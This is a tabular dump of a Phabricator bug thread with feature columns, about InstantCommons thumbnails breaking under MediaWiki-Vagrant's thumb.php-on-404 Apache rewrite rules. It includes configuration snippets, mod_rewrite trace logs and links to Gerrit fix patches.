",Low,25.0,1379384100,1468099239.0,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-USER-ll6tmaogat2b5q7tnqas,False,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_description,resolved,True,c1,3,True,False,False,11,,0.0,0.0,0.0,4.0,1.0,4.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,8.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,13.0,1.0,3.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,3.0,11.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,4.0,0.0,1.0,0.0,3.9014084507042255,0.7605633802816901,"InstantCommons does not work on Vagrant if you enable the 404 handler for images (the CODE role does that and most multimedia roles include it). The problem is related to thumbnail caching; similar to T101565, but the default wiki (CODE) is also affected.

As a workaround, caching can be disabled by creating CODE with
``CODE``
"
691484,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,Please reopen or file a new bug if you can reproduce.,,,1468099239,,PHID-USER-ll6tmaogat2b5q7tnqas,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,True,,,157,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,25.0,8.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.5833333333333335,1.0,Please reopen or file a new bug if you can reproduce.
627765,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,IIRC yes but much harder to trigger than it used to be. But I'm may be wrong - I only vaguely remember what this was about.,,,1457652757,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,140,,3.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,7.0,0.0,14.0,14.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,14.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.3793103448275863,0.8620689655172413,IIRC yes but much harder to trigger than it used to be. But I'm may be wrong - I only vaguely remember what this was about.
627628,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,@Tgr is this still an ongoing problem?,,,1457644136,,PHID-USER-ll6tmaogat2b5q7tnqas,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,True,,,140,,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.875,1.0,SCREEN_NAME is this still an ongoing problem?
490268,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"Change 223480 abandoned by Gergő Tisza:
Use 404 handler for all wikis when the role is enabled

Reason:
There doesn't seem to be a way to do this correctly.

[[https://gerrit.wikimedia.org/r/223480]]",,,1436559679,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,105,,2.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,7.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,5.0,5.0,17.0,2.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,7.0,3.5,0.8571428571428571,"Change 223480 abandoned by Gergő Tisza:
Use 404 handler for all wikis when the role is enabled

Reason:
There doesn't seem to be a way to do this correctly.

[[GERRIT_URL]]"
488964,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"Change 223493 merged by jenkins-bot:
Fix thumb on 404 role for multiwiki reality

[[https://gerrit.wikimedia.org/r/223493]]",,,1436391322,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,105,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,9.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.6956521739130435,0.9130434782608695,"Change 223493 merged by jenkins-bot:
Fix thumb on 404 role for multiwiki reality

[[GERRIT_URL]]"
488430,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"Change 223477 merged by jenkins-bot:
Fix thumb rewrite rules

[[https://gerrit.wikimedia.org/r/223477]]",,,1436327387,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,105,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,3.6315789473684212,0.8947368421052632,"Change 223477 merged by jenkins-bot:
Fix thumb rewrite rules

[[GERRIT_URL]]"
488429,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"Change 223493 had a related patch set uploaded (by BryanDavis):
Fix thumb on 404 role for multiwiki reality

[[https://gerrit.wikimedia.org/r/223493]]
",,,1436327281,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,105,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.857142857142857,0.8928571428571429,"Change 223493 had a related patch set uploaded (by BryanDavis):
Fix thumb on 404 role for multiwiki reality

[[GERRIT_URL]]
"
488409,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"Change 223480 had a related patch set uploaded (by Gergő Tisza):
Use 404 handler for all wikis when the role is enabled

[[https://gerrit.wikimedia.org/r/223480]]
",,,1436318919,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,105,,3.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,16.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,9.0,3.625,0.90625,"Change 223480 had a related patch set uploaded (by Gergő Tisza):
Use 404 handler for all wikis when the role is enabled

[[GERRIT_URL]]
"
488399,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"Change 223477 had a related patch set uploaded (by Gergő Tisza):
Fix thumb rewrite rules

[[https://gerrit.wikimedia.org/r/223477]]
",,,1436317320,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,105,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.68,0.88,"Change 223477 had a related patch set uploaded (by Gergő Tisza):
Fix thumb rewrite rules

[[GERRIT_URL]]
"
488394,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"From the Apache docs:
> REQUEST_FILENAME
> The full local filesystem path to the file or script matching the request, if this has already been determined by the server at the time REQUEST_FILENAME is referenced. Otherwise, such as when used in virtual host context, the same value as REQUEST_URI. Depending on the value of AcceptPathInfo, the server may have only used some leading components of the REQUEST_URI to map the request to a file.

So apparently the problem is that Apache does not map the URI to the filesystem path before checking whether the file exists. If I disable the rewrite rule, the thumbnail appears correctly.",,,1436316316,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,105,,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,20.0,7.0,0.0,16.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,13.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.222222222222222,0.7777777777777778,"From the Apache docs:
QUOTE
QUOTE

So apparently the problem is that Apache does not map the URI to the filesystem path before checking whether the file exists. If I disable the rewrite rule, the thumbnail appears correctly."
488384,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,Probably even more broken on other wikis since the 404 handler config rule seems to only be applied to the default wiki (and the one created by the `commonswiki` role which has its own apache rules).,,,1436313920,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,105,,0.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,13.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,10.0,3.0,5.0,3.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,13.0,8.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.9743589743589745,0.8974358974358975,Probably even more broken on other wikis since the 404 handler config rule seems to only be applied to the default wiki (and the one created by the CODE role which has its own apache rules).
488383,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"Contents of `/etc/apache2/site-confs/devwiki/50-thumb-php-on-404.conf`:
```
RewriteEngine On

# call thumb.php for thumb images not on disk
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^/images/thumb/[0-9a-f]/[0-9a-f][0-9a-f]/([^/]+)/[^/]*([0-9]+)px-.*$ /w/thumb_handler.php [PT,QSA,B]


# call thumb.php for thumb archive images not on disk
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^/images/thumb/archive/[0-9a-f]/[0-9a-f][0-9a-f]/([^/]+)/[^/]*([0-9]+)px-.*$ /w/thumb_handler.php [PT,QSA,B]
```

Contents of `/etc/apache2/site-confs/devwiki/50-devwiki-images.conf`:
```
# vim: filetype=apache sts=4 sw=4 autoindent
#
# This file is managed by Puppet.
#
<Directory /srv/images>
    Require all granted
    Header set Access-Control-Allow-Origin ""*""
</Directory>

Alias /images /srv/images
```

Apache log with `LogLevel alert rewrite:trace6`:
```
Jul  7 23:56:57 mediawiki-vagrant apache2[6545]: [rewrite:trace2] [pid 6545] mod_rewrite.c(468): [client 10.0.2.2:56986] 10.0.2.2 - - [127.0.0.1/sid#7f720dfb0bb8][rid#7f720decc0a0/initial] init rewrite engine with requested uri /images/thumb/b/b0/Sunrise_over_fishing_boats_in_Kerala.jpg/800px-Sunrise_over_fishing_boats_in_Kerala.jpg, referer: http://127.0.0.1:10000/wiki/File:Sunrise_over_fishing_boats_in_Kerala.jpg
Jul  7 23:56:57 mediawiki-vagrant apache2[6545]: [rewrite:trace3] [pid 6545] mod_rewrite.c(468): [client 10.0.2.2:56986] 10.0.2.2 - - [127.0.0.1/sid#7f720dfb0bb8][rid#7f720decc0a0/initial] applying pattern '^/$' to uri '/images/thumb/b/b0/Sunrise_over_fishing_boats_in_Kerala.jpg/800px-Sunrise_over_fishing_boats_in_Kerala.jpg', referer: http://127.0.0.1:10000/wiki/File:Sunrise_over_fishing_boats_in_Kerala.jpg
Jul  7 23:56:57 mediawiki-vagrant apache2[6545]: [rewrite:trace3] [pid 6545] mod_rewrite.c(468): [client 10.0.2.2:56986] 10.0.2.2 - - [127.0.0.1/sid#7f720dfb0bb8][rid#7f720decc0a0/initial] applying pattern '^/images/thumb/[0-9a-f]/[0-9a-f][0-9a-f]/([^/]+)/[^/]*([0-9]+)px-.*$' to uri '/images/thumb/b/b0/Sunrise_over_fishing_boats_in_Kerala.jpg/800px-Sunrise_over_fishing_boats_in_Kerala.jpg', referer: http://127.0.0.1:10000/wiki/File:Sunrise_over_fishing_boats_in_Kerala.jpg
Jul  7 23:56:57 mediawiki-vagrant apache2[6545]: [rewrite:trace4] [pid 6545] mod_rewrite.c(468): [client 10.0.2.2:56986] 10.0.2.2 - - [127.0.0.1/sid#7f720dfb0bb8][rid#7f720decc0a0/initial] RewriteCond: input='/images/thumb/b/b0/Sunrise_over_fishing_boats_in_Kerala.jpg/800px-Sunrise_over_fishing_boats_in_Kerala.jpg' pattern='!-f' => matched, referer: http://127.0.0.1:10000/wiki/File:Sunrise_over_fishing_boats_in_Kerala.jpg
Jul  7 23:56:57 mediawiki-vagrant apache2[6545]: [rewrite:trace4] [pid 6545] mod_rewrite.c(468): [client 10.0.2.2:56986] 10.0.2.2 - - [127.0.0.1/sid#7f720dfb0bb8][rid#7f720decc0a0/initial] RewriteCond: input='/images/thumb/b/b0/Sunrise_over_fishing_boats_in_Kerala.jpg/800px-Sunrise_over_fishing_boats_in_Kerala.jpg' pattern='!-d' => matched, referer: http://127.0.0.1:10000/wiki/File:Sunrise_over_fishing_boats_in_Kerala.jpg
Jul  7 23:56:57 mediawiki-vagrant apache2[6545]: [rewrite:trace2] [pid 6545] mod_rewrite.c(468): [client 10.0.2.2:56986] 10.0.2.2 - - [127.0.0.1/sid#7f720dfb0bb8][rid#7f720decc0a0/initial] rewrite '/images/thumb/b/b0/Sunrise_over_fishing_boats_in_Kerala.jpg/800px-Sunrise_over_fishing_boats_in_Kerala.jpg' -> '/w/thumb_handler.php', referer: http://127.0.0.1:10000/wiki/File:Sunrise_over_fishing_boats_in_Kerala.jpg
Jul  7 23:56:57 mediawiki-vagrant apache2[6545]: [rewrite:trace2] [pid 6545] mod_rewrite.c(468): [client 10.0.2.2:56986] 10.0.2.2 - - [127.0.0.1/sid#7f720dfb0bb8][rid#7f720decc0a0/initial] forcing '/w/thumb_handler.php' to get passed through to next API URI-to-filename handler, referer: http://127.0.0.1:10000/wiki/File:Sunrise_over_fishing_boats_in_Kerala.jpg
```

The thumbnail is at `/srv/images/thumb/b/b0/Sunrise_over_fishing_boats_in_Kerala.jpg/800px-Sunrise_over_fishing_boats_in_Kerala.jpg`. I don't get why the `!-f` rule matches, somehow the alias does not get applied?",,,1436313779,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,105,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.75,0.7115384615384616,"Contents of CODE:
``CODE`CODE/etc/apache2/site-confs/devwiki/50-devwiki-images.confCODE`CODE`CODELogLevel alert rewrite:trace6CODE`CODE`CODE/srv/images/thumb/b/b0/Sunrise_over_fishing_boats_in_Kerala.jpg/800px-Sunrise_over_fishing_boats_in_Kerala.jpgCODE!-f` rule matches, somehow the alias does not get applied?"
488377,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"Still (or again) broken. Commons API is used without a problem, the image is thumbnailed, but Apache redirects the request to `thumb.php` even though the thumbnail exists and seems to be in the right place. (`thumb.php` cannot handle remote images, that's T27958.)",,,1436313023,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,105,,0.0,0.0,0.0,4.0,2.0,4.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,13.0,2.0,6.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.8703703703703702,0.7777777777777778,"Still (or again) broken. Commons API is used without a problem, the image is thumbnailed, but Apache redirects the request to CODE even though the thumbnail exists and seems to be in the right place. (CODE cannot handle remote images, that's T27958.)"
482831,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,Can't reproduce this anymore. https://gerrit.wikimedia.org/r/217769 might have fixed it.,,,1435366189,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,103,,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.416666666666667,0.9166666666666666,Can't reproduce this anymore. GERRIT_URL might have fixed it.
480249,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,Same for me. This is actually impacting my ability to code review certain changes... :-/,,,1435087748,,PHID-USER-5dwuaigmkz2vzg65lape,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,103,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,4.352941176470588,1.0,Same for me. This is actually impacting my ability to code review certain changes... :-/
393926,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"Enabling the multimedia role on a fresh MW-Vagrant box still produces broken thumbnails for me. (""//Error generating thumbnail: The source file 'XXX' does not exist.//"")",,,1419909145,,PHID-USER-a6p24cvyblhfzc7we7nc,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,False,,,78,,0.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,14.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,11.0,0.0,3.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,4.142857142857143,0.9428571428571428,"Enabling the multimedia role on a fresh MW-Vagrant box still produces broken thumbnails for me. (""//Error generating thumbnail: The source file 'XXX' does not exist.//"")"
393877,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"@Eloquence, @tgr Is this still a problem?",,,1419899284,,PHID-USER-ll6tmaogat2b5q7tnqas,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,True,,,78,,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,33.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.777777777777778,0.8888888888888888,"SCREEN_NAME,SCREEN_NAME Is this still a problem?"
240331,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,Bulk unassigning bugs from Ori.,,,1416260174,,PHID-USER-ll6tmaogat2b5q7tnqas,True,,,PHID-TASK-ujchhacr3p2gtsdgmxlg,task_subcomment,,True,c1,3,True,,,72,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.5,1.0,Bulk unassigning bugs from Ori.
240326,InstantCommons no longer working in MediaWiki-Vagrant multimedia role,"In the latest MediaWiki Vagrant with the multimedia role enabled, InstantCommons does not successfully generate thumbnails for me. The issue goes away if I comment out the thumb-php-on-404 handler, so I suspect it's an issue with the rewrite rule. CCing Bryan since he wrote that 